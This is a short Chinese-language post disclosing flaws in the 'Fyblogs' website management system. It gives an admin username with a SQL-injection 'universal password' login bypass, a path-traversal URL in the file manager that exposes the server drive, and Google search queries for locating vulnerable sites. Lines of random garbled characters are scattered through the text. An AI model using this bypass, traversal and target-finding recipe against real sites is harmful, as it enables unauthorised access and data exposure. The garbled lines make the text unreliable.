Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'

后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
2 C3 Z2 `2 [' R# ~; w& M0 K" i) Sadmin/uploadfile.asp?currentFolder=/upfiles/../
+ L2 _4 N2 [% v- ~, }
漏洞证明：
8 p2 t* ]8 u) N  |2 T0 M
2 [: K1 C9 c+ D! H- V0 ~: K2 Y& x  t谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?
8 x1 r) y( @( T  n  z( }